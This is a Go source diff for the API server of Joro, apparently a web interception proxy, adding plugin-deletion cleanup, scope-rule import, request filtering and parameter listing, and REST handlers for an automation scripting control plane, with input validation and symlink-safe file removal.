@@ -90,7 +89,7 @@ func (s *APIServer) makeExtConnectHandler(name string) http.HandlerFunc {
}
var config map[string]string
if err := json.NewDecoder(r.Body).Decode(&config); err != nil {
if err := decodeJSON(r, &config); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON body")
return
}
@@ -140,7 +139,7 @@ func (s *APIServer) makeExtCommandHandler(name string) http.HandlerFunc {
var body struct {
Input string `json:"input"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON body")
return
}
@@ -165,6 +164,11 @@ func (s *APIServer) handleUploadPlugin(w http.ResponseWriter, r *http.Request) {
return
}
// Multipart body; see requireLocalOrigin.
if !requireLocalOrigin(w, r) {
return
}
// 32 MB max upload.
if err := r.ParseMultipartForm(32 << 20); err != nil {
writeError(w, http.StatusBadRequest, "invalid multipart form")
@@ -215,8 +219,14 @@ func (s *APIServer) handleUploadPlugin(w http.ResponseWriter, r *http.Request) {
})
}
// handleDeletePlugin removes a plugin file from the plugins directory.
// A restart is required for the change to take effect.
// handleDeletePlugin removes a plugin file from the plugins directory, and with
// purgeData=true its per-plugin data directory as well.
//
// A plugin that loaded keeps running until a restart, so the response reports
// whether one is needed rather than implying the plugin is gone. Plugin state
// held in user and project configs is never touched: mergePluginStates keeps it
// deliberately, so a config still round-trips through a machine that lacks the
// plugin.
func (s *APIServer) handleDeletePlugin(w http.ResponseWriter, r *http.Request) {
if s.pluginManager == nil {
writeError(w, http.StatusInternalServerError, "plugin manager not initialized")
@@ -228,6 +238,7 @@ func (s *APIServer) handleDeletePlugin(w http.ResponseWriter, r *http.Request) {
writeError(w, http.StatusBadRequest, "filename is required")
return
}
purgeData := r.URL.Query().Get("purgeData") == "true"
// Sanitize: only allow base filenames, no path traversal.
filename = filepath.Base(filename)
@@ -246,6 +257,17 @@ func (s *APIServer) handleDeletePlugin(w http.ResponseWriter, r *http.Request) {
}
}
// The data directory is keyed on the manifest name, which is only readable
// while the plugin is still loaded — resolve it before unlinking. A file that
// failed to load has no name and so no data directory.
pluginName := ""
for _, p := range s.pluginManager.List() {
if p.Filename == filename {
pluginName = p.Name
break
}
}
if err := os.Remove(path); err != nil {
if os.IsNotExist(err) {
writeError(w, http.StatusNotFound, "plugin file not found")
@@ -255,12 +277,50 @@ func (s *APIServer) handleDeletePlugin(w http.ResponseWriter, r *http.Request) {
return
}
writeJSON(w, http.StatusOK, map[string]string{
"filename": filename,
"message": "plugin removed — restart Joro to apply",
restartRequired := s.pluginManager.MarkRemoved(filename)
// Best-effort, like the project delete's browser profile: the plugin file is
// already gone, so failing the request here would report a delete that did
// not happen.
dataPurged := false
if purgeData && pluginName != "" {
dir := s.pluginManager.PluginDataDir(pluginName)
if err := removeDirNoSymlink(dir); err != nil {
log.Printf("[plugins] deleted %q but its data directory remains: %v", filename, err)
} else {
dataPurged = true
}
}
msg := "plugin removed"
if restartRequired {
msg = "plugin removed — restart Joro to unload it"
}
writeJSON(w, http.StatusOK, map[string]any{
"filename": filename,
"restartRequired": restartRequired,
"dataPurged": dataPurged,
"message": msg,
})
}
// removeDirNoSymlink deletes a directory and its contents, refusing to follow a
// symlink — os.RemoveAll through one would empty the target instead. A missing
// directory is success.
func removeDirNoSymlink(dir string) error {
info, err := os.Lstat(dir)
if err != nil {
if os.IsNotExist(err) {
return nil
}
return err
}
if info.Mode()&os.ModeSymlink != 0 {
return fmt.Errorf("%s is a symlink", dir)
}
return os.RemoveAll(dir)
}
// registerPluginRoutes registers all dynamic routes for loaded plugins.
// Called from registerRoutes() after the static route block.
func registerPluginRoutes(s *APIServer, mux *http.ServeMux) {
+18 -3
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
@@ -22,7 +21,7 @@ func (s *APIServer) handleSetReplaceEnabled(w http.ResponseWriter, r *http.Reque
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -37,7 +36,7 @@ func (s *APIServer) handleAddReplaceRule(w http.ResponseWriter, r *http.Request)
Match string `json:"match"`
Replace string `json:"replace"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -61,6 +60,22 @@ func (s *APIServer) handleAddReplaceRule(w http.ResponseWriter, r *http.Request)
writeJSON(w, http.StatusCreated, rule)
}
func (s *APIServer) handleSetReplaceRuleEnabled(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if !s.replace.SetRuleEnabled(id, body.Enabled) {
writeError(w, http.StatusNotFound, "rule not found")
return
}
writeJSON(w, http.StatusOK, map[string]any{"id": id, "enabled": body.Enabled})
}
func (s *APIServer) handleDeleteReplaceRule(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if !s.replace.RemoveRule(id) {
+71 -7
View File
@@ -5,17 +5,20 @@ import (
"net/http"
"strconv"
"github.com/BishopFox/joro/internal/echo"
"github.com/BishopFox/joro/internal/proxy"
)
func (s *APIServer) handleListRequests(w http.ResponseWriter, r *http.Request) {
// requestFilterFromQuery builds a proxy.RequestFilter from the shared request
// query params (host/method/status/search/content/scope/...). Used by both the
// history listing and the site map so they filter identically. Offset/Limit are
// parsed here too; callers that don't paginate simply ignore them.
func (s *APIServer) requestFilterFromQuery(r *http.Request) proxy.RequestFilter {
q := r.URL.Query()
offset, _ := strconv.Atoi(q.Get("offset"))
limit, _ := strconv.Atoi(q.Get("limit"))
status, _ := strconv.Atoi(q.Get("status"))
extMode := q.Get("extMode")
if extMode == "" {
extMode = "exclude"
@@ -24,7 +27,7 @@ func (s *APIServer) handleListRequests(w http.ResponseWriter, r *http.Request) {
f := proxy.RequestFilter{
Host: q.Get("host"),
Method: q.Get("method"),
Status: status,
Status: q.Get("status"),
Search: q.Get("search"),
Exclude: q.Get("exclude"),
ExtMode: extMode,
@@ -40,6 +43,12 @@ func (s *APIServer) handleListRequests(w http.ResponseWriter, r *http.Request) {
f.InScopeFunc = s.scope.InScope
}
return f
}
func (s *APIServer) handleListRequests(w http.ResponseWriter, r *http.Request) {
f := s.requestFilterFromQuery(r)
items, total := s.store.List(f)
type summary struct {
@@ -76,8 +85,8 @@ func (s *APIServer) handleListRequests(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, map[string]any{
"items": summaries,
"total": total,
"offset": offset,
"limit": limit,
"offset": f.Offset,
"limit": f.Limit,
})
}
@@ -90,7 +99,14 @@ func (s *APIServer) handleGetRequest(w http.ResponseWriter, r *http.Request) {
}
writeJSON(w, http.StatusOK, map[string]any{
"id": item.ID,
"id": item.ID,
// Seq is the handle every server-side feature addresses a capture by, and
// the client's RequestDetail has always been typed as carrying it — it
// extends RequestSummary, which the list endpoint does fill in. Omitting
// it here made that type a lie no compiler could catch: a caller reading
// detail.seq got undefined, which JSON-encodes to null and decodes in Go
// as 0, and the request was reported as evicted from the capture buffer.
"seq": item.Seq,
"timestamp": item.Timestamp.Format("2006-01-02T15:04:05.000Z"),
"method": item.Method,
"url": item.URL,
@@ -105,7 +121,55 @@ func (s *APIServer) handleGetRequest(w http.ResponseWriter, r *http.Request) {
})
}
// handleGetRequestParams lists every input one captured request carried — query,
// path segment, form field, JSON leaf, multipart field, cookie and header — as
// the one walker in the repo enumerates them. It is the per-request half of the
// site-map inventory and, like it, runs on demand and needs nothing from the
// reflection engine.
func (s *APIServer) handleGetRequestParams(w http.ResponseWriter, r *http.Request) {
item := s.store.Get(r.PathValue("id"))
if item == nil {
writeError(w, http.StatusNotFound, "request not found")
return
}
cfg := echo.DefaultConfig()
if s.echoEngine != nil {
cfg = s.echoEngine.Config()
}
cfg.Normalize()
params := echo.RequestParams(item, cfg)
writeJSON(w, http.StatusOK, map[string]any{
"requestId": item.ID,
"params": params,
// The walker stops at MaxValuesPerRequest without saying it did, so a full
// slice is the only signal available. A request carrying exactly the cap
// reports truncated, which is the safe direction to be wrong in.
"truncated": len(params) >= cfg.MaxValuesPerRequest,
})
}
func (s *APIServer) handleClearRequests(w http.ResponseWriter, r *http.Request) {
s.store.Clear()
// Clear zeroes the store's sequence counter, so the detection cursor must be
// reset with it.
s.resetDetectCursor(0)
s.clearDetectFindingsWithHistory()
writeJSON(w, http.StatusOK, map[string]string{"status": "cleared"})
}
// handleDeleteRequestsByHost removes captured requests whose host matches a glob,
// the "clear what is already captured" companion to adding a noise pattern. The
// required "pattern" query param is the host glob (filepath.Match), the same value
// stored as the noise pattern. Removing the requests also drops them from the site
// map, which is derived from the same store.
func (s *APIServer) handleDeleteRequestsByHost(w http.ResponseWriter, r *http.Request) {
pattern := r.URL.Query().Get("pattern")
if pattern == "" {
writeError(w, http.StatusBadRequest, "pattern is required")
return
}
removed := s.store.DeleteByHostPattern(pattern)
writeJSON(w, http.StatusOK, map[string]int{"deleted": removed})
}
+112 -4
View File
@@ -2,11 +2,29 @@ package api
import (
"encoding/json"
"fmt"
"net/http"
"github.com/BishopFox/joro/internal/proxy"
)
// Bounds for a scope import. The body cap leaves room for well over the rule cap;
// both are here so a malformed or oversized file is rejected before it is decoded.
const (
maxScopeImportBytes = 1 << 20
maxScopeImportRules = 1000
)
// scopeImportRule mirrors projectScopeRule but makes include explicit. A plain bool
// cannot distinguish an omitted field from false, and false is "exclude" — so an
// omitted include would quietly invert the rule.
type scopeImportRule struct {
Pattern string `json:"pattern"`
Methods []string `json:"methods"`
Path string `json:"path"`
Include *bool `json:"include"`
}
func (s *APIServer) handleGetScope(w http.ResponseWriter, r *http.Request) {
rules := s.scope.Rules()
if rules == nil {
@@ -22,7 +40,7 @@ func (s *APIServer) handleSetScopeEnabled(w http.ResponseWriter, r *http.Request
var body struct {
Enabled bool `json:"enabled"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -32,18 +50,108 @@ func (s *APIServer) handleSetScopeEnabled(w http.ResponseWriter, r *http.Request
func (s *APIServer) handleAddScopeRule(w http.ResponseWriter, r *http.Request) {
var body proxy.ScopeRule
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Pattern == "" {
writeError(w, http.StatusBadRequest, "pattern is required")
if err := proxy.ValidateScopeRule(&body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
rule := s.scope.AddRule(body)
writeJSON(w, http.StatusCreated, rule)
}
// handleImportScopeRules replaces or merges the scope rule set from an uploaded
// scope file. Every rule is validated before anything is applied: a file with one
// bad rule is rejected whole rather than landing half-applied.
func (s *APIServer) handleImportScopeRules(w http.ResponseWriter, r *http.Request) {
var body struct {
Config struct {
ScopeEnabled *bool `json:"scopeEnabled"`
ScopeRules []scopeImportRule `json:"scopeRules"`
} `json:"config"`
Mode string `json:"mode"`
}
dec := json.NewDecoder(http.MaxBytesReader(w, r.Body, maxScopeImportBytes))
dec.DisallowUnknownFields()
if err := dec.Decode(&body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// Require the mode outright rather than treating anything that isn't "merge"
// as the destructive option.
var merge bool
switch body.Mode {
case "merge":
merge = true
case "replace":
default:
writeError(w, http.StatusBadRequest, `mode must be "replace" or "merge"`)
return
}
incoming := body.Config.ScopeRules
if len(incoming) == 0 {
writeError(w, http.StatusBadRequest, "no rules to import")
return
}
if len(incoming) > maxScopeImportRules {
writeError(w, http.StatusBadRequest, fmt.Sprintf("at most %d rules per import", maxScopeImportRules))
return
}
next := make([]proxy.ScopeRule, 0, len(incoming))
if merge {
next = append(next, s.scope.Rules()...)
}
imported := 0
for i, in := range incoming {
if in.Include == nil {
writeError(w, http.StatusBadRequest, fmt.Sprintf("rule %d: include is required", i))
return
}
rule := proxy.ScopeRule{
ID: proxy.GenerateID(),
Pattern: in.Pattern,
Methods: in.Methods,
Path: in.Path,
Include: *in.Include,
}
if err := proxy.ValidateScopeRule(&rule); err != nil {
writeError(w, http.StatusBadRequest, fmt.Sprintf("rule %d: %v", i, err))
return
}
// Compared against the growing set, so duplicates within the file collapse in
// both modes; on merge that set also holds the existing rules.
if containsScopeRule(next, projectScopeRule{
Pattern: rule.Pattern, Methods: rule.Methods, Path: rule.Path, Include: rule.Include,
}) {
continue
}
next = append(next, rule)
imported++
}
wasEnabled := s.scope.IsEnabled()
s.scope.SetRules(next)
if body.Config.ScopeEnabled != nil {
s.scope.SetEnabled(*body.Config.ScopeEnabled || (merge && wasEnabled))
}
rules := s.scope.Rules()
if rules == nil {
rules = []proxy.ScopeRule{}
}
writeJSON(w, http.StatusOK, map[string]any{
"enabled": s.scope.IsEnabled(),
"rules": rules,
"imported": imported,
"skipped": len(incoming) - imported,
})
}
func (s *APIServer) handleDeleteScopeRule(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if !s.scope.RemoveRule(id) {
+852
View File
@@ -0,0 +1,852 @@
package api
import (
"encoding/json"
"errors"
"fmt"
"log"
"net/http"
"path/filepath"
"slices"
"strconv"
"strings"
"time"
"github.com/BishopFox/joro/internal/capability"
"github.com/BishopFox/joro/internal/capreg"
"github.com/BishopFox/joro/internal/jsautomation"
"github.com/BishopFox/joro/internal/jsruntime"
"github.com/BishopFox/joro/internal/localcmd"
)
// maxAutomationBody bounds a request on the automation control plane. Sized for the
// largest of them — one carrying automation source — from the program-size ceiling the
// budget offers, with room for a manifest beside it, so the program limit is the one that
// reports rather than this. Passed to decodeJSONLimit; see the tiers in decode.go.
const maxAutomationBody = jsruntime.CapSourceBytes + (1 << 19)
// decodeAutomationJSON is decodeJSON at the automation plane's own body cap.
func decodeAutomationJSON(r *http.Request, dst any) error {
return decodeJSONLimit(r, dst, maxAutomationBody)
}
// The script run log, over REST.
//
// UI-only, like the rest of the automation control plane: an automation client reaches
// Joro on the MCP port, whose mux has no /api/v1 routes, so a bearer token cannot read
// these. That matters more here than elsewhere — the run log holds the verbatim source
// of everything every token has run, and a script being able to read other scripts
// would make it a lateral channel between tokens.
//
// These exist in the same pass as script.run rather than waiting for the authoring UI,
// because retaining a script's source with no way to read it back is not a feature. The
// question the log answers — which exact code did an agent run against a client's
// systems — is the one an operator most needs after the fact.
// requireAutomations reports whether installed automations exist at all — either kind —
// writing the JSON 404 if not.
//
// Three gates rather than one, because there are three ways to be switched off and each
// has a different remedy. An operator sent to the wrong flag has been told something
// worse than nothing, so every message names the switch that would change the answer:
//
// requireAutomation --no-automation, nothing about automation is registered
// requireAutomations neither --automation-scripting nor --automation-commands
// requireScripting the JavaScript half specifically
//
// The frontend distinguishes them by looking for "--automation-scripting" in the text,
// which both of the latter two carry — so the message can gain detail without the client
// having to learn a new one.
func (s *APIServer) requireAutomations(w http.ResponseWriter) bool {
if !s.requireAutomation(w) {
return false
}
if s.scriptManager == nil {
writeError(w, http.StatusNotFound,
"installed automations are not enabled on this instance; start Joro with "+
"--automation-scripting for sandboxed scripts, or --automation-commands to run "+
"local commands")
return false
}
return true
}
// requireScripting reports whether the JavaScript half is available.
//
// Distinct from requireAutomations because the manager also exists for commands alone: an
// operator running with only --automation-commands has installed automations but no script
// runtime, and "installed automations are not enabled" would be false.
func (s *APIServer) requireScripting(w http.ResponseWriter) bool {
if !s.requireAutomations(w) {
return false
}
if !s.scriptingEnabled() {
writeError(w, http.StatusNotFound,
"script automation is not enabled on this instance; start Joro with --automation-scripting")
return false
}
return true
}
func (s *APIServer) handleListScriptRuns(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomations(w) {
return
}
q := r.URL.Query()
offset, _ := strconv.Atoi(q.Get("offset"))
limit, _ := strconv.Atoi(q.Get("limit"))
if limit <= 0 {
limit = 50
}
limit = min(limit, 200)
runs, total := s.scriptManager.Runs().List(offset, limit)
writeJSON(w, http.StatusOK, map[string]any{
"runs": runs,
"total": total,
"offset": offset,
"limit": limit,
})
}
func (s *APIServer) handleGetScriptRun(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomations(w) {
return
}
run, ok := s.scriptManager.Runs().Get(r.PathValue("id"))
if !ok {
writeError(w, http.StatusNotFound, "no such run")
return
}
// Unlike the list, this carries the source. It is the whole point of the endpoint.
writeJSON(w, http.StatusOK, run)
}
func (s *APIServer) handleClearScriptRuns(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomations(w) {
return
}
writeJSON(w, http.StatusOK, map[string]int{"deleted": s.scriptManager.Runs().Clear()})
}
// handleGetRunArtifact serves one file from a command run's working directory.
//
// It exists because without it the headline use is only half a feature: a scanner's whole
// output is the report directory it writes, and a run that lists file names nobody can open
// has told the operator what they are missing rather than giving it to them.
//
// What it serves is anything inside that one run's directory, which is a slightly wider
// contract than the artifact list the run reported — the input files Joro itself wrote are
// reachable too, since they are also in there. That is deliberate rather than overlooked:
// the directory holds only what Joro put there and what the command produced, so "inside
// this run's directory" is the whole containment, and it is a property of the path rather
// than of a list someone has to keep in step with it.
//
// The path is resolved by jsautomation.ArtifactPath, which owns the scratch layout and
// validates the path — this handler deliberately does not join anything itself. Served as an
// attachment with a generic content type and nosniff, so a file a third-party tool wrote is
// downloaded rather than rendered.
func (s *APIServer) handleGetRunArtifact(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomations(w) {
return
}
path, err := s.scriptManager.ArtifactPath(r.PathValue("id"), r.PathValue("name"))
if err != nil {
writeError(w, http.StatusNotFound, "no such artifact")
return
}
w.Header().Set("Content-Type", "application/octet-stream")
w.Header().Set("X-Content-Type-Options", "nosniff")
w.Header().Set("Content-Disposition",
fmt.Sprintf("attachment; filename=%q", filepath.Base(path)))
http.ServeFile(w, r, path)
}
// ---- Installed automations ----
// packages returns the installed-automation store, writing the 404 if unavailable.
func (s *APIServer) packages(w http.ResponseWriter) *jsautomation.Store {
if !s.requireAutomations(w) {
return nil
}
st := s.scriptManager.Packages()
if st == nil {
writeError(w, http.StatusNotFound, "installed automations are unavailable on this instance")
return nil
}
return st
}
// writeStoreError maps the store's sentinels onto status codes. A hash mismatch is 409:
// the request was well-formed and the caller's view of the world was simply stale.
func writeStoreError(w http.ResponseWriter, err error) {
switch {
case errors.Is(err, jsautomation.ErrNotFound):
writeError(w, http.StatusNotFound, "no such automation")
case errors.Is(err, jsautomation.ErrExists):
writeError(w, http.StatusConflict, err.Error())
case errors.Is(err, jsautomation.ErrHashMismatch):
writeError(w, http.StatusConflict, err.Error())
default:
writeError(w, http.StatusBadRequest, err.Error())
}
}
func (s *APIServer) handleListScripts(w http.ResponseWriter, r *http.Request) {
if s.packages(w) == nil {
return
}
writeJSON(w, http.StatusOK, map[string]any{
"scripts": s.scriptManager.List(),
"triggers": jsautomation.Triggers,
"bundle": jsautomation.BundleVersion,
"kinds": jsautomation.Kinds,
// The command vocabulary, served rather than restated in the frontend — the same
// reason the budget serves its specs. A stdin mode or a placeholder added in Go
// then appears in the editor's selects with no client change, and a client can
// never offer one the server would refuse.
"scripting": s.scriptingEnabled(),
"commands": map[string]any{
"enabled": s.commandsEnabled(),
"stdinModes": localcmd.StdinModes,
"outputModes": localcmd.OutputModes,
"fileParts": localcmd.FileParts,
// What each placeholder is, and which triggers supply one. Two sources
// because they are two packages' knowledge: localcmd owns the grammar it
// enforces, jsautomation owns which trigger populates what. The editor
// renders both and hardcodes neither, which is what stopped the old
// hand-written paragraph from drifting away from checkCaptured.
"placeholders": localcmd.PlaceholderDocs(),
"availability": jsautomation.CommandPlaceholderAvailability(),
"inputToken": localcmd.PlaceholderInput,
},
})
}
func (s *APIServer) handleGetScript(w http.ResponseWriter, r *http.Request) {
store := s.packages(w)
if store == nil {
return
}
a, err := store.Load(r.PathValue("id"))
if err != nil {
writeStoreError(w, err)
return
}
// With source: this is the operator reading their own automation, which is the
// point of keeping it as a real file in the first place.
//
// effectiveLimits rides along for the same reason EffectiveLens does: the budget is
// the author's request narrowed by the operator's override and then held to the
// global, and resolving it here means no caller has to hold three halves and decide
// which wins.
writeJSON(w, http.StatusOK, struct {
*jsautomation.Automation
EffectiveLimits jsautomation.ManifestLimits `json:"effectiveLimits"`
}{a, a.EffectiveBudget(s.scriptManager.Budget())})
}
type scriptWriteBody struct {
Manifest jsautomation.Manifest `json:"manifest"`
Source string `json:"source"`
// ExpectedHash is required to replace the source of an armed automation.
ExpectedHash string `json:"expectedHash,omitempty"`
}
func (s *APIServer) handleInstallScript(w http.ResponseWriter, r *http.Request) {
store := s.packages(w)
if store == nil {
return
}
var body scriptWriteBody
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
a, err := store.Install(body.Manifest, body.Source)
if err != nil {
writeStoreError(w, err)
return
}
log.Printf("[automation] installed %s v%s (disabled)", a.Manifest.ID, a.Manifest.Version)
writeJSON(w, http.StatusCreated, a)
}
func (s *APIServer) handleUpdateScript(w http.ResponseWriter, r *http.Request) {
store := s.packages(w)
if store == nil {
return
}
var body scriptWriteBody
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
id := r.PathValue("id")
if body.Manifest.ID == "" {
body.Manifest.ID = id
}
a, err := store.Update(id, body.Manifest, body.Source, body.ExpectedHash)
if err != nil {
writeStoreError(w, err)
return
}
writeJSON(w, http.StatusOK, a)
}
func (s *APIServer) handleDeleteScript(w http.ResponseWriter, r *http.Request) {
store := s.packages(w)
if store == nil {
return
}
id := r.PathValue("id")
if err := store.Delete(id); err != nil {
writeStoreError(w, err)
return
}
// Its stored state has no meaning without the code that wrote it.
if s.automationStorage != nil {
s.automationStorage.Drop(id)
}
if s.scriptTriggers != nil {
s.scriptTriggers.Wake()
}
writeJSON(w, http.StatusOK, map[string]string{"status": "deleted"})
}
func (s *APIServer) handleSetScriptEnabled(w http.ResponseWriter, r *http.Request) {
store := s.packages(w)
if store == nil {
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
a, err := store.SetState(r.PathValue("id"), func(st *jsautomation.State) {
st.Enabled = body.Enabled
// Enabling clears a breaker pause. The operator is answering the question the
// pause asked, and leaving it set would make Enable appear to do nothing.
if body.Enabled {
st.Paused = false
st.PausedReason = ""
}
})
if err != nil {
writeStoreError(w, err)
return
}
if s.scriptTriggers != nil {
s.scriptTriggers.Wake()
}
writeJSON(w, http.StatusOK, a.Summarize())
}
func (s *APIServer) handleSetScriptPrefs(w http.ResponseWriter, r *http.Request) {
store := s.packages(w)
if store == nil {
return
}
// Pointers so an absent field is left alone rather than zeroed, the same reason
// handleSetProjectPrefs takes *bool.
var body struct {
Limits *jsautomation.ManifestLimits `json:"limits"`
TriggersDisabled map[string]bool `json:"triggersDisabled"`
HostAllow *[]string `json:"hostAllow"`
LensLabel *string `json:"lensLabel"`
LensPart *string `json:"lensPart"`
LensOrder *int `json:"lensOrder"`
}
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
// An empty string clears the override back to the manifest's value; anything else
// has to name a real part, for the same reason an unknown trigger is rejected below.
if body.LensPart != nil && *body.LensPart != "" && !slices.Contains(jsautomation.LensParts, *body.LensPart) {
writeError(w, http.StatusBadRequest, fmt.Sprintf("unknown lens part %q (known: %s)",
*body.LensPart, strings.Join(jsautomation.LensParts, ", ")))
return
}
// Reject an unknown trigger name rather than storing it. A typo would otherwise be
// accepted with a 200 and silently mean "armed", which is the wrong direction for the
// control an operator reaches for to switch a trigger off.
for name := range body.TriggersDisabled {
if !slices.Contains(jsautomation.Triggers, name) {
writeError(w, http.StatusBadRequest, fmt.Sprintf(
"unknown trigger %q (known: %s)", name, strings.Join(jsautomation.Triggers, ", ")))
return
}
}
a, err := store.SetState(r.PathValue("id"), func(st *jsautomation.State) {
if body.Limits != nil {
st.Limits = body.Limits
}
if body.TriggersDisabled != nil {
st.TriggersDisabled = body.TriggersDisabled
}
if body.HostAllow != nil {
st.HostAllow = *body.HostAllow
}
if body.LensLabel != nil {
st.LensLabel = strings.TrimSpace(*body.LensLabel)
}
if body.LensPart != nil {
st.LensPart = *body.LensPart
}
if body.LensOrder != nil {
st.LensOrder = *body.LensOrder
}
})
if err != nil {
writeStoreError(w, err)
return
}
if s.scriptTriggers != nil {
s.scriptTriggers.Wake()
}
writeJSON(w, http.StatusOK, a.Summarize())
}
// handleRunScript runs an automation or a piece of inline source, on the operator's
// behalf.
//
// Inline source is accepted here and nowhere else. This is the operator's own request
// through the same-origin UI, not an agent's, and an authoring surface that cannot run a
// draft before it is saved is not an authoring surface. It is also why a disabled
// automation may be run from here: reviewing something means being able to run it first.
func (s *APIServer) handleRunScript(w http.ResponseWriter, r *http.Request) {
if !s.requireAutomations(w) {
return
}
var body struct {
ScriptID string `json:"scriptId"`
Source string `json:"source"`
Input json.RawMessage `json:"input"`
// Trigger labels the run in the log. Defaults to triggerUI.
Trigger string `json:"trigger"`
TimeoutMs int `json:"timeoutMs"`
MaxCalls int `json:"maxCalls"`
MaxSendCalls int `json:"maxSendCalls"`
}
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
trigger, ok := runTrigger(body.Trigger)
if !ok {
writeError(w, http.StatusBadRequest, fmt.Sprintf("unknown trigger %q (known: %s, %s)",
body.Trigger, strings.Join(jsautomation.Triggers, ", "), jsautomation.TriggerLens))
return
}
var (
run *jsautomation.Run
err error
)
switch {
case body.ScriptID != "":
run, err = s.scriptManager.Invoke(r.Context(), jsautomation.InvokeRequest{
ID: body.ScriptID,
Input: body.Input,
Caller: jsautomation.AutomationPrincipal(body.ScriptID),
Trigger: trigger,
// Derived from the trigger rather than taken from the body, so the
// guarantee belongs to the surface and not to what the client asked for.
NoSend: trigger == jsautomation.TriggerLens,
OperatorRun: true,
})
case strings.TrimSpace(body.Source) != "":
// Inline source is JavaScript, so this branch needs the script half specifically.
// An operator running with only --automation-commands has no runtime to hand it
// to, and should be told which flag rather than getting a run that reports the
// runtime missing.
if !s.requireScripting(w) {
return
}
run, err = s.scriptManager.Run(r.Context(), jsautomation.RunRequest{
Source: body.Source,
Input: body.Input,
// A name for the audit trail and no policy, exactly like
// AutomationPrincipal: no token launched this, so runPrincipal resolves
// policy from the operator's own configuration rather than from a flag on a
// token they never issued.
Caller: capability.Principal{TokenName: "operator"},
Trigger: trigger,
NoSend: trigger == jsautomation.TriggerLens,
Limits: jsruntime.Limits{
Timeout: time.Duration(body.TimeoutMs) * time.Millisecond,
MaxCalls: body.MaxCalls,
MaxSendCalls: body.MaxSendCalls,
},
})
default:
writeError(w, http.StatusBadRequest, "provide either scriptId or source")
return
}
switch {
case errors.Is(err, jsautomation.ErrBusy), errors.Is(err, jsautomation.ErrCommandBusy):
writeError(w, http.StatusTooManyRequests, err.Error())
case errors.Is(err, jsautomation.ErrNotFound):
writeError(w, http.StatusNotFound, "no such automation")
case err != nil:
writeError(w, http.StatusInternalServerError, err.Error())
default:
writeJSON(w, http.StatusOK, run)
}
}
// triggerUI labels a run the operator started by hand, so the run list can tell it from
// an agent's ("mcp") and from a trigger firing.
const triggerUI = "ui"
// runTrigger validates the label a run is recorded under, defaulting to triggerUI.
func runTrigger(t string) (string, bool) {
switch t := strings.TrimSpace(t); {
case t == "":
return triggerUI, true
case t == triggerUI || t == jsautomation.TriggerLens || slices.Contains(jsautomation.Triggers, t):
return t, true
default:
return "", false
}
}
// handleScriptSDK is the authoring reference: every joro.* method, joined with the
// registered title, description and argument schema of the capability behind it.
//
// Generated from the same binding table that builds the injected shim and the grant
// bundle, so a method that exists is documented and a documented method exists. The
// model-facing description doubles as author documentation, which is the whole reason
// there is one source rather than three.
func (s *APIServer) handleScriptSDK(w http.ResponseWriter, r *http.Request) {
if !s.requireScripting(w) {
return
}
type entry struct {
JS string `json:"js"`
Capability string `json:"capability"`
Title string `json:"title,omitempty"`
Description string `json:"description,omitempty"`
InputSchema json.RawMessage `json:"inputSchema,omitempty"`
ArgsExample json.RawMessage `json:"argsExample,omitempty"`
SendsTraffic bool `json:"sendsTraffic,omitempty"`
Mutating bool `json:"mutating,omitempty"`
}
out := make([]entry, 0, len(jsruntime.Bindings))
for _, b := range jsruntime.Bindings {
e := entry{JS: "joro." + b.JS, Capability: b.Cap}
if c, ok := s.capRegistry.Get(b.Cap); ok {
e.Title, e.Description = c.Title, c.Description
e.InputSchema, e.ArgsExample = c.InputSchema, c.ArgsExample
e.SendsTraffic, e.Mutating = c.SendsTraffic, c.Mutating
}
out = append(out, e)
}
writeJSON(w, http.StatusOK, map[string]any{
"bundle": jsautomation.BundleVersion,
"methods": out,
"storage": storageDocs,
"globals": globalDocs,
"triggers": jsautomation.Triggers,
})
}
// ---- The run budget ----
//
// The operator's run policy, plus everything needed to explain it: the shipped default
// and ceiling per field, the unit each is entered in, and the one-sentence rationale for
// each. All of it is served rather than restated in the frontend, so what the UI explains
// cannot drift from what the runtime enforces.
type budgetResponse struct {
// Policy is what the operator set. A zero field means "Joro's own number".
Policy jsruntime.BudgetPolicy `json:"policy"`
// Effective is what a run that asks for nothing is held to, EffectiveMax the most
// one may ask for, and Host the resolved host limits. All three are what the policy
// actually comes to, so the UI shows no figure the runtime would not honor.
Effective jsruntime.Budget `json:"effective"`
EffectiveMax jsruntime.Budget `json:"effectiveMax"`
